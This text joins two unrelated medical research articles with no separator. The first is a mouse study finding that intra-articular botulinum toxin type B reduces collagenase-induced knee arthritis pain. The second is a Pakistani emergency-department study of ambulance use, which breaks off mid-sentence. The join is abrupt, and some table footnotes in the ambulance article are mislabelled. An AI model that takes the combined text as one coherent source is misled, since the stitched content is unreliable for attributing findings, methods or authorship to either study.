Introduction ============ There is an ongoing need for new therapies for refractory arthritis pain. Osteoarthritis-related joint pain is a major cause of physical limitation, disability, morbidity, and increased health care utilization for the more than 27 million Americans affected by osteoarthritis.[@b1-jpr-3-161],[@b2-jpr-3-161] Up to 80% of patients with osteoarthritis have movement limitation and 25% cannot perform major activities of daily living.[@b3-jpr-3-161] Up to 20% of the adult population is affected by chronic knee pain and associated disability, with 11% of adults with knee osteoarthritis needing help with personal care. Osteoarthritis of the knee is currently one of the five leading causes of disability among noninstitutionalized adults.[@b3-jpr-3-161]--[@b5-jpr-3-161] Additionally, 40% of adults with knee osteoarthritis reported their health as "poor" or "fair".[@b3-jpr-3-161] The primary focus of osteoarthritis care is joint pain management because there are no disease modifying agents available for osteoarthritis. Goals of osteoarthritis treatment include improved pain control and maintenance or improvement of joint function. Currently available systemic analgesics have a significant risk of potentially serious side effects. Insufficient joint pain relief, intolerable drug side effects, and adverse drug interactions are limitations of available oral analgesics.[@b6-jpr-3-161],[@b7-jpr-3-161] Localized therapies with intra-articular corticosteroids and viscosupplementation are alternative pain control options, but effects and duration may be variable. Minimally invasive surgical intervention for patients failing systemic and local therapies includes arthroscopic lavage and debridement. However, there is increasing evidence that arthroscopic debridement outcomes may be no better than placebo procedures or optimized physical and medical therapy.[@b8-jpr-3-161],[@b9-jpr-3-161] Joint replacement for severe disabling degenerative arthritis pain carries significant surgical risks, and is often not an option for many patients due to comorbid medical conditions or advanced age. As average life expectancy continues to increase, the burden of disabling degenerative arthritis pain is anticipated to increase as well. Safe, effective, chronic arthritis pain treatment remains an unmet need for many patients, and represents a growing socioeconomic burden in an aging population.[@b10-jpr-3-161] Osteoarthritis is characterized pathologically by bony outgrowths (osteophytes), changes in subchondral and marginal bone, bone marrow edema, and damage to articular cartilage surfaces, leading to loss of joint space and joint misalignment. Soft tissue changes include variable degrees of synovial inflammation, capsular thickening, and ligament laxity.[@b11-jpr-3-161],[@b12-jpr-3-161] The periosteum and subchondral and marrow bone are richly innervated with sensory fibers, but our current understanding of the cause of arthritis pain remains limited. Most chronic arthritis research and treatment has focused on the degenerative mechanisms and immunologic processes associated with progressive joint damage, rather than the pathogenesis of arthritis-induced pain. Studies of the mechanisms of pain in arthritis have shown that inflammation within joints causes both peripheral and central sensitization of neurons, with spontaneous joint pain at rest and hyperalgesia.[@b13-jpr-3-161] Given this peripheral sensitization, arthritis pain may be treated effectively by intra-articular neurotoxins. Reduction in arthritis pain following use of intra-articular botulinum toxin Type A (BoNT/A) in humans and in murine models of arthritis has been reported.[@b14-jpr-3-161]--[@b17-jpr-3-161] We hypothesized that botulinum toxin Type B (BoNT/B) would also reduce chronic arthritic knee pain. Intra-articular BoNT/B is another option for arthritis pain control that may be superior to other BoNT serotypes. To test this hypothesis, we measured the effect of intra-articular BoNT/B on arthritis pain in a murine model of chronic degenerative arthritis. Methods ======= Animal subjects --------------- Forty C57B16 mice (Jackson Laboratories, Bar Habor, ME) aged 6--8 weeks old were used in this animal study which was approved by the Minneapolis Veterans Affairs Medical Center Institutional Animal Care and Utilization Committee. The animals were housed in groups of eight animals in the Animal Care and Research Facility at the Minneapolis Veterans Affairs Medical Center, a facility approved by the Association for Assessment and Accreditation of Laboratory Animal Care International. The care and studies of these animals were performed in accordance with the guidelines established in the Guide for the Care and Use of Laboratory Animals (The National Academies Press, USA). Collagenase-induced chronic degenerative arthritis model -------------------------------------------------------- Chronic arthritis pain was produced in 40 C57Bl6 mice by intra-articular injection of 10 IU Type IV collagenase (Worthington Biomedical Corporation, Lakeville, NJ) in 10 μL normal saline into the left knee. We used a 30 gauge needle with a customized sheath that limited depth of needle penetration to 2.5 mm. The injection was performed through the midline of the patellar tendon just inferior to the patella to ensure accurate entry into the articular space of the knee. Prior to injection, the area was shaved and sterilized with alcohol and animals were anesthetized with isofluorane inhalation. Arthritis was evaluated four weeks after intra-articular collagenase injection. Mice were evaluated for spontaneous pain behavior, evoked pain behavior, and safety using a battery of standardized measures described below. The timepoints for behavioral testing were prior to and after induction of arthritis, and after treatment of arthritis pain. Spontaneous pain behavior: measurement of gait impairment --------------------------------------------------------- Visual gait analysis was performed by walking the animals on a motorized treadmill (Columbus Instruments, Columbus, OH) at a constant speed of 17 cm/sec for a total time of 20 seconds. Gait was evaluated visually and graded semiquantitatively on a scale of 0--4 as a consensus score among three experienced examiners. Gait was defined as normal (4) if the animal was easily able to maintain a consistent speed while walking on the treadmill. Scores of 3, 2, and 1 were given for minimal, moderate, and significant gait impairment, respectively ([Table 1](#t1-jpr-3-161){ref-type="table"}). Evoked pain behavior: measurement of joint tenderness ----------------------------------------------------- Evoked pain behavior (tenderness) was measured by tallying fights (kicks, attempts to break from restraint) and vocalizations for one minute in response to repeated firm palpation of the knee. A single examiner performed all examinations and was blinded as to treatment group assignment. A Palpometer^®^ (Palpometer Systems, Inc., Victoria, BC) was used to train the examiner to apply consistent and precise firm pressure, defined as a level of 4 on the Palpometer (1100 gf/cm^2^ = 15.6 psi). Pressure of this magnitude was high enough to elicit a significant pain response from arthritic joints, but not from normal joints. Both the right (normal) and left knee (arthritic) were examined, with the right knee serving as an internal control. The normal right knee was always examined first. In preliminary experiments with tenderness testing, our group found slightly elevated tenderness scores in the nonarthritic knee when the arthritic knee was examined first. Safety ------ Systemic adverse effects were assessed by observing for anorexia, dehydration, hunched posture, poor grooming, coat changes, or other evidence of poor animal well-being. Given botulinum toxin's known effects of muscle weakness, strength was measured at baseline before induction of arthritis pain, four weeks after intra-articular injection of collagenase (arthritic state), and after intra-articular treatments. Change in muscle strength was measured by the ability to grasp a wire grid against resistance and cling to it while inverted. Grasp ability was tested by applying traction to the animal's tail parallel to the wire grid. Cling ability was tested by inverting the mouse on the wire grid three times with tail held down to wire grid. Both grasp and cling ability were graded on a 0--4 scale. A score of 0 represented inability to grasp or cling to the wire grid. A score of 4 represented a strong grip against resistance and no instability with inversion ([Tables 2](#t2-jpr-3-161){ref-type="table"} and [3](#t3-jpr-3-161){ref-type="table"}). Intra-articular neurotoxin and controls --------------------------------------- Four weeks following intra-articular injection of 10 IU collagenase into the left knee, 17 animals were treated with intra-articular BoNT/B (Myobloc^®^, Solstice Neurosciences Inc., South San Francisco, CA) 0.02 IU in 5 μL of normal saline into the arthritic left knee. Gait assessment, joint tenderness, and strength examinations were performed three days following intra-articular BoNT/B to allow time for the toxin to take effect. Control groups consisted of arthritic animals treated with either intra-articular normal saline or a sham injection to the left knee at the four-week time point. Seven animals received 5 μL or 10 μL intra-articular normal saline and eight animals received sham injections. Gait impairment assessment, joint tenderness, and strength examinations were performed three days following intra-articular normal saline or sham injections. Histologic examination of normal and arthritic knees ---------------------------------------------------- Following conclusion of the study, right (normal) and left (arthritic) knees of representative animals were examined for histologic evidence of degenerative arthritis. The animals were humanely euthanized using C0~2~ gas and secondary exsanguination. Right and left lower extremities were dissected. Articular specimens were fixed in 10% buffered formalin for 24 hours and decalcified in 10% ethylenediamine tetraacetic acid for two weeks before paraffin embedding. Paraffin-embedded specimens were then sectioned and stained with hematoxilyn and eosin. Statistical methods ------------------- The unpaired Student's t-test was used to compare groups, ie, prior to induction of arthritis, arthritic, treated, and normal right knee values. Comparisons were made between normal, arthritic, BoNT/B-treated arthritic, and saline-treated arthritic controls using unpaired Student's t-tests. The significance level was selected at a *P* value of 0.05. Results ======= Pain behaviors following induction of arthritis by intra-articular collagenase ------------------------------------------------------------------------------ Arthritis was successfully induced in 40 mice by intra-articular injection of 10 IU collagenase in 10 μL normal saline into the left knee. Animals were examined four weeks after intra-articular collagenase for development of arthritis. Significant alterations in gait due to arthritis pain was demonstrated by decline in visual gait score from 3.50 (SEM = 0.076) to 2.36 (SEM = 0.112), *P* \< 0.0001. Evoked pain behavior scores induced by palpation of the painful arthritic knee were increased significantly, from a baseline total score of 1.83 (SEM = 0.405) to 7.23 (SEM = 0.953, *P* \< 0.0001, [Figure 1](#f1-jpr-3-161){ref-type="fig"}). Effects of intra-articular BoNT/B on pain behavior measures following induction of arthritis -------------------------------------------------------------------------------------------- Seventeen mice with collagenase-induced arthritis pain of the left knee were treated at four weeks with intra-articular injection of 0.02 IU BoNT/B in 5 μL normal saline into the affected knee. Animals were examined three days following intra-articular BoNT/B to allow time for appearance of botulinum effects. There were significant improvements in both spontaneous pain behavior measures (visual gait impairment scores) and evoked pain behaviors (joint tenderness to palpation scores). Visual gait analysis score improved by 43% (*P* = 0.0419), and the evoked pain response score decreased by 49.5% (*P* = 0.0134) following intra-articular BoNT/B ([Figure 1](#f1-jpr-3-161){ref-type="fig"}). Effects of intra-articular normal saline and sham injections following induction of arthritis --------------------------------------------------------------------------------------------- Treatment control groups included seven arthritic mice receiving either 5 or 10 μL intra-articular normal saline into the left knee, and eight arthritic mice receiving sham injections into the left knee at four weeks following intra-articular collagenase. Animals were examined three days following either normal saline or sham injections and compared with untreated arthritic animals (n = 40). There were no significant changes in spontaneous pain behavior scores or evoked pain behavior scores in these control animals. No significant change in visual gait analysis score was noted following either intra-articular normal saline or sham injections (*P* = 0.225 and *P* = 0.1921, respectively). Evoked pain response scores following intra-articular normal saline or sham injections did not change significantly (*P* = 0.9043 and *P* = 0.5355, respectively, [Figure 1](#f1-jpr-3-161){ref-type="fig"}). Normal right knee controls -------------------------- Throughout all stages of this study the right knee was a normal, nonarthritic internal control. After induction of arthritis, evoked pain behavior response score in the contralateral knee increased from a baseline mean of 0.83 (SEM = 0.208) to 2.65 (SEM = 0.728. *P* = 0.0083). Safety ------ Grasp and cling strength were measured to monitor safety because of the known effects of muscle weakness caused by botulinum toxins. Strength was measured at baseline, after development of arthritis, and in the post-treatment state. Strength was evaluated by measuring ability to grasp and cling. Forty mice were examined at baseline and four weeks following intra-articular collagenase (arthritic state). Strength assessment showed a significant decline in both measures following induction of arthritis pain, prior to treatment with intra-articular BoNT/B. Grasp scores declined 34% from a baseline score of 3.83 (SEM = 0.120) to 2.53 (SEM = 0.155, *P* \< 0.0001). Cling scores also declined 34% from a baseline score of 3.67 (SEM = 0.129) to 2.43 (SEM = 0.168, *P* = 0.0003). After induction of arthritis and three days following intra-articular BoNT/B into the left knee, grasp scores improved 22% (n = 17, *P* = 0.0704), cling scores improved 23% (n = 17, *P* = 0.2752), although not reaching statistical significance in this small study. The seven animals that received intra-articular normal saline injections had no significant change in grasp or cling scores compared with the arthritic state (*P* = 0.3964 and *P* = 0.7457 respectively, [Figure 2](#f2-jpr-3-161){ref-type="fig"}). Eight animals that received sham injections had no change in grasp (*P* = 0.5637), but did have a significant decrease in ability to cling (*P* = 0.0019). No signs of anorexia, dehydration, hunched posture, poor grooming, coat changes, or other evidence of poor animal well-being were noted in any animals at any point during the study. Histologic examination of normal and arthritic knees ---------------------------------------------------- Following conclusion of the study, right (normal) and left (arthritic) knees of representative animals were examined for histologic evidence of degenerative arthritis. Hematoxilyn and eosin staining of knees revealed irregularities and thinning of articular cartilage and early osteophyte formation compared with normal knees, ie demonstrating changes consistent with osteoarthritis ([Figures 3](#f3-jpr-3-161){ref-type="fig"} and [4](#f4-jpr-3-161){ref-type="fig"}). Discussion ========== This study is the first report of intra-articular BoNT/B for analgesia in a murine model of arthritis pain. The results of this study validate prior work using intra-articular neurotoxins in murine models.[@b16-jpr-3-161] Our findings show chronic degenerative arthritis pain can be quantified in a murine model by measuring gait impairment with visual gait analysis scores (ie, spontaneous pain behavior) and joint tenderness scores (ie, evoked pain responses). Visual gait analysis showed significant impairment of gait in arthritic mice that improved 43% after intra-articular BoNT/B, demonstrating a substantial articular analgesic effect. Joint inflammation is not a prominent feature of degenerative arthritis, but joint tenderness, measured with evoked pain response scores, increased with arthritis induction and decreased 49.5% after intra-articular BoNT/B treatment. These changes in joint tenderness were clinically and statistically significant even with the relatively small animal numbers used in this study. Reduction of joint pain seen in this study is consistent with our hypothesis of inhibition of release of pain mediators by intra-articular BoNT/B. There was a small increase in the evoked pain behavior response score in the contralateral nonarthritic right knee that was not clinically significant. This interesting pain response in the normal contralateral limb is similar to findings noted by other groups studying monoarthritis in murine models. Lam et al reported that substance P exacerbated and spread the early signs of disease, such as increased blood flow and vascular permeability, to contralateral joints.[@b18-jpr-3-161] Role for intra-articular botulinum therapy ========================================== Botulinum neurotoxin (BoNT) is produced by *Clostridium botulinum* as a complex of proteins containing the neurotoxic moiety associated with nontoxic components. There are seven serologically distinct BoNT serotypes that all act by inhibiting release of signal chemicals packaged in neuronal vesicles.[@b19-jpr-3-161] The exocytosis of neuronal signal chemicals is dependent on the function of the N-ethylmaleimide-sensitive factor attachment protein receptor complex, collectively called the soluble N-ethylmaleimide-sensitive factor activating protein receptor (SNARE) proteins.[@b19-jpr-3-161],[@b20-jpr-3-161] All serotypes of BoNT cleave SNARE proteins. The specific target site within the SNARE complex is dependent on the BoNT serotype.[@b19-jpr-3-161] Although all BoNTs act by disabling SNARE-associated exocytosis, the potencies and characteristics of their actions vary.[@b19-jpr-3-161]--[@b21-jpr-3-161] Botulinum toxins affect striated muscle by creating a chemical denervation that is temporary and reversible through highly potent inhibition of acetylcholine release at the neuromuscular junction.[@b20-jpr-3-161] Acetylcholine is not the only neurotransmitter affected by BoNTs. BoNTs have also been found to affect the release of multiple SNARE-dependent neuropeptides, including substance P, glutamate, and calcitonin gene-related peptide, all important mediators of articular pain transmission.[@b15-jpr-3-161],[@b22-jpr-3-161] BoNTs are the most potent neurotoxins known. However, small doses are successful as cosmetic and musculoskeletal therapies. Currently, BoNT/A and BoNT/B are the best characterized and most used clinically. BoNT/A injections are analgesic for painful muscle contractions associated with cervical dystonia, migraine/tension headaches, and myofascial pain syndromes.[@b23-jpr-3-161] In BoNT/A treatment of painful soft tissue syndromes, pain relief preceded the resolution of muscle contractions, suggesting that BoNTs may have antinociceptive effects independent of known effects on neuromuscular junctions.[@b24-jpr-3-161] BoNT/A inhibited capsaicin-stimulated release of substance P from embryonic rat dorsal root ganglia neurons in culture.[@b25-jpr-3-161] Subcutaneous BoNT/A paw injections in a formalin-induced rat model of pain reduced electrical excitations and c-fos expression in the spinal cord, and reduced edema and tissue glutamate release.[@b26-jpr-3-161] Efficacy of intra-articular BoNT/A for refractory arthritis pain in humans, and in murine models of arthritis joint pain, has been reported recently. Intra-articular BoNT/A reduced lower extremity arthritis pain by an average of 55%, and shoulder pain by an average of 71% in a study of 11 patients with chronic arthritis pain refractory to intra-articular corticosteroids, with no noted adverse effects.[@b14-jpr-3-161] In another study of patients with refractory axial skeletal pain, eight of 11 reported a decrease in pain score, improved activities of daily living, and range of motion following BoNT injections. These BoNT injections for axial skeletal pain provided longer lasting pain relief than corticosteroid injections.[@b27-jpr-3-161] Similar results were found in a randomized placebo-controlled trial of BoNT/A in chronic severe shoulder pain.[@b17-jpr-3-161] Another randomized controlled trial found that intra-articular BoNT/A was as effective as intra-articular corticosteroids for chronic knee pain.[@b28-jpr-3-161] Krug et al have reported significant analgesic effects of intra-articular BoNT/A in murine models of chronic inflammatory arthritis.[@b16-jpr-3-161] Analgesic effects were not found in the acute carrageenan arthritis pain model. Intra-articular BoNT/B was safe, with no weakness of limb muscles or systemic effects noted. This finding of safety confirms our prior work with intra-articular BoNT/A in murine arthritis models and small human studies. It is possible that higher doses of intra-articular BoNT/B could be used to optimize analgesic effects. The current study does have the noted weakness that our visual gait analysis system may not be sensitive enough to measure full treatment effect, therefore future studies will incorporate computerized digital gait analysis. Additionally, in this preliminary study, the duration of action of intra-articular BoNT/B has not been fully explored. Evaluation of dose response and duration of effect are future research directions for our group. Mixtures of various intra-articular botulinum serotypes may provide faster onset of action and longer duration of effects. Such mixtures may prove useful in other types of articular pain. This study supports the hypothesis that chronic arthritis pain may be amplified by neuropeptide release in the periphery. Inhibition of neuropeptide release may have altered nociceptor function, and reduced pain generation and neurogenic inflammation. This selective chemodenervation of articular pain fibers with intra-articular injection of neurotoxins is a novel local approach to treatment of arthritis joint pain. Interruption of neuropeptide release by intra-articular BoNT/B appeared to decrease pain responses in the joint and improve gait abnormalities. The results of this study support further investigation of this novel approach to treatment of arthritis pain with intra-articular neurotoxins. **Disclosure** The authors have no conflicts of interest in this work. {#f1-jpr-3-161} {#f2-jpr-3-161} {#f3-jpr-3-161} {#f4-jpr-3-161} ###### Gait impairment criteria --- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- 0 Mouse refuses to walk on treadmill 1 Mouse walks up to 30% of the allotted time without touching dividers, jumping, splaying its legs, or dragging hindquarters; displays severe inconsistencies in gait 2 Mouse walks up to 60% of the allotted time without touching dividers, jumping, splaying its legs, or dragging hindquarters; displays moderate inconsistencies in gait 3 Mouse walks up to 90% of the allotted time without touching dividers, jumping, splaying its legs, or dragging hindquarters; displays minor inconsistencies in gait 4 Mouse walks the entire time without touching dividers, jumping, splaying its legs, or dragging hindquarters; displays no inconsistencies in gait. --- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ###### Grasp impairment criteria --- ------------------------------------------------------------------------------------------------------ 0 Mouse gives no resistance to being pulled across screen; unable to grasp the screen 1 Minimal force needed to pull the mouse across the screen; significant difficulty grasping the screen 2 Moderate force needed to pull the mouse across the screen; moderate difficulty grasping the screen 3 Significant force needed to pull the mouse across the screen; minimal difficulty grasping the screen 4 Full force needed to pull the mouse across the screen; no difficulty grasping the screen. --- ------------------------------------------------------------------------------------------------------ ###### Cling impairment criteria --- ------------------------------------------------------------------------------------------------------------------------------------------------------------ 0 Mouse cannot hold on when the screen is tilted vertically 1 Mouse has shown that it can grip the screen when vertical but falls during every inversion 2 The mouse falls off the screen during two inversions or falls off the screen during one inversion and displays instability during the other two inversions 3 The mouse falls off the screen once or shows instability during two inversions 4 The mouse does not display instability with any inversion. --- ------------------------------------------------------------------------------------------------------------------------------------------------------------

Background ========== The World Health Organization (WHO) emphasizes the importance of emergency medical services (EMS) systems which are usually the first point of contact with healthcare systems for acute conditions like injuries, chest pain or acute presentation of chronic conditions like diabetic coma in diabetic patients \[[@B1]\]. Many high-income countries (HICs) have well-developed pre-hospital emergency systems which employ modern patient monitoring equipment and have paramedical staff trained to provide pre-hospital care in accordance with the patient\'s condition \[[@B2]\]. Since numerous acute conditions such as chest pain and hemorrhage are time-sensitive, established pre-hospital services play a crucial role in overall patient outcomes \[[@B3]\]. The situation is different in many low-and middle-income countries (LMICs) where there is lack of ambulance services and many patients present to acute healthcare facilities on their own. It is important to note that more than one-third of all deaths in LMICs are preventable with early intervention during the pre-hospital phase \[[@B4]\]. Up to 90% of injury-related mortality occurs in LMICs and in the presence of an adequate EMS system; this burden can be reduced by 45% \[[@B1],[@B5]\]. However, due to lack of funding and trained personnel, emergency services in LMICs are a low priority and are often limited to providing basic transportation facilities without efficient triage services. There is also a general lack of public trust in ambulance services in LMICs \[[@B6]\]. The lack of pre-hospital care services in Pakistan has been a cause of great concern over the years \[[@B4],[@B6]-[@B9]\]. The aim of this study was to determine the frequency of ambulance use by patients coming to the major emergency departments (EDs) of Pakistan. It will also compare the characteristics of patients coming by ambulances and those coming by other modes of transportation, such as public and private vehicles or walk-in patients to the EDs. Methods ======= Study setting ------------- The Pakistan National Emergency Departments Surveillance (Pak-NEDS) was a pilot active surveillance conducted in seven major tertiary care emergency departments in six main cities of Pakistan between November 2010 and March 2011. The EDs included the Aga Khan University (Karachi), Jinnah Post-Graduate Medical Center (Karachi), Mayo Hospital (Lahore), Sandeman Provincial Hospital (Quetta), Lady Reading Hospital (Peshawar), Benazir Bhutto Hospital (Rawalpindi), and Shifa International Hospital (Islamabad). Five of the participating hospitals were public hospitals and two were private hospitals. All the hospitals are tertiary care teaching hospitals and one is a referral center. Ethical approval was obtained from all participating hospitals. There are several ambulance services operating in various regions of the country which include philanthropic organizations such as the Edhi Foundation (nationwide), and Chippa Welfare Association (Karachi) \[[@B10],[@B11]\]. The Aman Foundation is another non-profit organization in Karachi which deals with healthcare, education and skills, and nutrition for underprivileged \[[@B12]\]. A few EMS services arose due to efforts of provincial governments such as Rescue 1122 \[[@B13]\]. However, these ambulance services currently work in Pakistan at the local level and are not part of an integrated emergency care system. Pak-NEDS did not collect data from any of the above mentioned ambulance services. Study procedure --------------- Data collectors were specifically hired and trained for Pak-NEDS. They worked in three shifts providing 24/7 coverage. Data was collected from patients or the next of kin and ED records. A one-page standardized tool was developed based on an ambulatory care survey tool developed by the Centers for Disease Control and Prevention, USA and on previous surveillance work done in Pakistan \[[@B14],[@B15]\]. The tool gathered information related to patient demographics, presenting complaints, treatment and management provided in the ED, provisional diagnosis and disposition from the ED. For this study, we looked at the mode of arrival to the ED of all the patients enrolled in Pak-NEDS. The mode of ED arrival was categorized into two groups; ambulance and non-ambulance. Non-ambulance group comprised of patients who presented to the ED through other means of transport like private vehicle. Data management --------------- Data was entered at AKU using EpiInfo version 3.3.2, and SPSS version 19 was used for analysis \[[@B16],[@B17]\]. For the purpose of analysis, six age categories were developed; less than 5 years, 5-12 years, 13-18 years, 19-25 years, 26-45 years, and more than 45 years. Pak-NEDS recorded up to three presenting complaints. In this analysis, presenting complaint is used as a multiple response variable. All presenting complaints were categorized into two major categories, injuries and non-injury. Injuries included unintentional and intentional injuries. The types of injuries recorded were falls, burns, drowning, poisoning, road traffic injuries and firearm injuries. Non-injury included general presenting complaints like fever, fatigue, weakness, swelling and complaints based on the body organ involved; for example, chest pain was grouped under cardiovascular system, rectal bleeding as part of gastrointestinal system. Other systems in this category were respiratory, central nervous system, musculoskeletal, head and neck, and uro-gynecology. Cities were grouped together by geographical location of participating hospitals: Aga Khan University and Jinnah Post-graduate Medical Center in Karachi; Mayo Hospital in Lahore; Benazir Bhutto Hospital and Shifa International Hospital in Rawalpindi/Islamabad; Lady Reading Hospital in Peshawar; and Sandeman Provincial Hospital in Quetta. Data analysis ------------- Comparison of patient factors was done between ambulance and non-ambulance groups using Pearson\'s Chi-squared test for categorical variables and independent sample t-test for continuous variables with level of significance set at 0.05. We also looked at the use of ambulance as an outcome variable. Univariate and multivariate logistic regression was carried out to look at the factors associated with ambulance use. A multivariate model was developed with independent variables including gender, age group, city, hospital type, presenting complaint and disposition. Results ======= Out of 274,436 patients enrolled into Pak-NEDS, the mode of arrival to the ED was documented for 94.9% (n = 260,378). Out of these, 4.1% (n = 10,546) were brought to the ED via ambulances; the rest of the patients (n = 249,832, 95.9%) were brought by means other than ambulance. This means that the overall use of ambulance services by patients coming to the major EDs in Pakistan for acute care is 1 in 25 patients. Comparison of demographic characteristics of patients between the ambulance and non-ambulance group is given in Table [1](#T1){ref-type="table"}. In the ambulance group, the proportion of males was 63.4% (n = 6578), while the proportion of males in the non-ambulance group was 60.7% (n = 150,085). The mean age of patients in the ambulance group (38 ± 18.4 years) was significantly higher (p-value \< 0.001) compared to the mean age of the non-ambulance group (32.8 ± 14.9 years). The proportion of patients brought to public versus private hospitals in both ambulance and non-ambulance groups was similar (93.7% vs. 93.9%, p-value 0.347). ###### Comparison of demographics characteristics and outcome of patients between ambulance and non-ambulance groups ----------------------------------------------------------------------------------------------------------------------- Patient characteristics Ambulance\ Non-ambulance\ p-value Total\ (n = 10546, 4.1%) (n = 249832, 95.9%) (n = 260,378) ------------------------------------------------ ------------------- --------------------- ---------- ----------------- **Age in years (mean ± SD)** 38 ± 18.4 32.8 ± 14.9 \< 0.001 33.1 ± 15.3 **Gender (n = 257,684)** \< 0.001 Male 6578 (63.4) 150,085 (60.7) 156,663 (60.8) Female 3795 (36.6) 97,226 (39.3) 101,021 (39.2) **Age groups (n = 250,034)** \< 5 years 122 (1.2) 3793 (1.6) \< 0.001 3915 (1.6) 5 - 12 years 335 (3.3) 10,057 (4.2) 10,392 (4.2) 13 - 18 years 747 (7.4) 22,053 (9.2) 22,800 (9.1) 19 - 25 years 1761 (17.5) 52,490 (21.9) 54,251 (21.7) 26 - 45 years 4224 (41.9) 109,410 (45.6) 113,634 (45.4) \>45 years 2896 (28.7) 42,146 (17.6) 45,042 (18) **Hospital type (n = 260,378)** 0.347 Public 9883 (93.7) 234,683 (93.9) 244,566 (93.9) Private 663 (6.3) 15,149 (6.1) 15,812 (6.1) **Presenting complaint group\* (n = 230,163)** \< 0.001 Non-injury 7262 (82.8) 247,476 (111.8) 254,738 (110.7) Injuries 5187 (59.1) 50,589 (22.9) 55,776 (24.2) **Disposition (n = 185,370)** \< 0.001 Discharged from ED 5025 (59) 143,891 (81.4) 148,916 (80.3) Admitted 2891 (33.6) 26410 (14.9) 29,301 (15.8) Death in ED 341 (4) 1468 (0.8) 1809 (1.0) Others\*\* 266 (3.1) 5078 (2.9) 5344 (2.9) ----------------------------------------------------------------------------------------------------------------------- \*multiple response variable therefore the total is not be 100% \*\*includes referred patients, left without being seen, left against medical advice Overall injuries were the presenting complaint in 24.4% (n = 55,776) of all ED visits. Among ambulance users, the proportion of patients with injuries was 59.1% (n = 5187). The analysis shows that in Karachi, 9.4% of ED patients arrived by ambulance versus only 3.4% in Lahore, 2.8% in Peshawar, 2.7% in Quetta and 1.0% in Rawalpindi/Islamabad (Table [2](#T2){ref-type="table"}). ###### Use of ambulance by emergency department patients in different cities of Pakistan (n = 260,378) Cities\* Ambulance group Non-ambulance group Total ---------------------- ----------------- --------------------- --------------- Karachi 5807 (9.4) 55,930 (90.5) 61,737 (23.7) Lahore 1589 (3.6) 43,081 (96.4) 44,670 (17.2) Peshawar 1578 (2.8) 53,319 (97.1) 54,897 (21.1) Quetta 912 (2.7) 32,354 (97.3) 33,266 (12.8) Rawalpindi/Islamabad 660 (1.0) 65,148 (99.0) 65,808 (25.3) \* Cities variable was created based on the geographical location of participating hospitals; Aga Khan University and Jinnah Post-graduate Medical Center in Karachi; Mayo Hospital in Lahore, Benazir Bhutto Hospital and Shifa International Hospital in Rawalpindi/Islamabad; Lady Reading Hospital in Peshawar and Sandeman Provincial Hospital in Quetta \*\*Percentage based on row total \*\*\*Percentage based on column total The most common presenting complaint in patients using ambulance services was head injury while among non-ambulance users it was fever. Table [3](#T3){ref-type="table"} lists the top ten presenting complaints in both the ambulance and non-ambulance group. Among different age groups within the ambulance use group, injury was the most common reason for coming to the ED for patients in the under 5 years to 26-45 years age group; however, patients above 45 years of age presented to the ED due to non-injury complaints. Among those arriving by ambulances, the proportion being admitted was more than two times compared to those in the non-ambulance group (33.6% vs. 14.9%). About 4% of patients in the ambulance group died in the ED (Table [1](#T1){ref-type="table"}). ###### Top 10 presenting complaints in ambulance and non-ambulance group Ambulance\* Non-ambulance\*\* ------------------------------ ------------------------------- Head injury (12%) Fever (12%) Lower extremity injury (11%) Abdominal pain (9%) Loss of consciousness (7%) Vomiting (7%) Chest pain (6%) Chest pain (7%) Shortness of breath (6%) Headache (5%) Fever (5%) Cough (4%) Upper limb injuries (5%) Lower extremity injuries (4%) Abdominal pain (5%) Shortness of breath (4%) Face injuries (4%) Head injury (3%) Vomiting (4%) Upper limb injuries (3%) \* constitutes 65% of all presenting complaints in non-ambulance group \*\*constitutes 59% of all presenting complaints in non-ambulance group To examine the factors related to use of ambulance, logistic regression was performed on data available for 154,200 (56.2%) cases (Table [4](#T4){ref-type="table"}). Patients of age groups \<45 years were less likely to be transported by ambulance compared to more than 45 years age group (p-value \< 0.001) adjusted for gender, cities, hospital type, presenting complaint group and disposition. The association of ambulance use with gender was not statistically significant in the model after adjusting for other independent variables in the model. The adjusted odds ratio of utilizing ambulances for those with injuries was 3.5 times higher than those presenting with non-injury complaints (p-value \< 0.001). ###### Logistic regression of factors associated with ambulance use Patient characteristics Univariate regression Multivariate regression -------------------------- ----------------------- ------------------------- ---------- --------- ---------- ---------- **Gender** Female **REF** **REF** Male 1.12 1.1, 1.2 \< 0.001 1.0 1.0, 1.1 0.5 **Age groups** \> 45 years **REF** **REF** \< 5 years 0.5 0.4, 0.6 \< 0.001 0.3 0.3, 0.4 \< 0.001 5 - 12 years 0.5 0.4, 0.5 \< 0.001 0.3 0.3, 0.4 \< 0.001 13 - 18 years 0.5 0.4, 0.5 \< 0.001 0.4 0.4, 0.5 \< 0.001 19 - 25 years 0.5 0.4, 0.5 \< 0.001 0.4 0.4, 0.5 \< 0.001 26 - 45 years 0.6 0.5, 0.6 \< 0.001 0.5 0.4, 0.5 \< 0.001 **Cities** Quetta **REF** **REF** Karachi 3.7 3.4, 4.0 \< 0.001 3.6 3.2, 4.1 \< 0.001 Lahore 1.3 1.2, 1.4 \< 0.001 1.6 1.4, 1.8 \< 0.001 Rawalpind/Islamabad 0.4 0.3, 0.4 \< 0.001 0.3 0.3, 0.4 \< 0.001 Peshawar 1.1 1.0, 1.1 0.25 0.6 0.5, 0.7 \< 0.001 **Hospital type** Private **REF** **REF** Public 0.9 0.9, 1.0 0.35 2.3 2.1, 2.6 \< 0.001 **Presenting complaint** Non-injury **REF** **REF** Injuries 3.2 3.0, 3.3 \< 0.001 3.5 3.3, 3.7 \< 0.001 **Disposition** Discharged from ED **REF** **REF** Admitted 3.1 3.0, 3.3 \< 0.001 3.1 2.9, 3.3 \< 0.001 Death in ED 6.7 5.9, 7.5 \< 0.001 7.2 6.2, 8.4 \< 0.001 Others\*\* 1.5 1.3, 1.7 \< 0.001 1.4 1.2, 1.6 \< 0.001 OR = odds ratio \*Model constant -4.3 \*\*includes referred patients, left without being seen, left against medical advice The adjusted odds of admission among patients in the ambulance group were 3.0 times higher compared to patients in the non-ambulance group (p-value \< 0.001). Patients brought to the ED by ambulance were 7.3 times more likely to die in the ED than non-ambulance patients, after adjusting for gender, age groups, cities, hospital type and presenting complaint group (p-value \< 0.001). Discussion ========== This study shows that only 4.1% of the patients coming to the major EDs in Pakistan use ambulance services. There are no global standards for appropriate utilization rate for ambulances. Many factors are likely to play a significant role in the utilization rate including availability of ambulances, cost of the service, differences in the disease burden and severity of illnesses, age distribution of population, geographic spread and availability of alternate methods of seeking care. Nevertheless, the utilization rate from Pakistan is lower then reported from high income countries which have reported percentage of 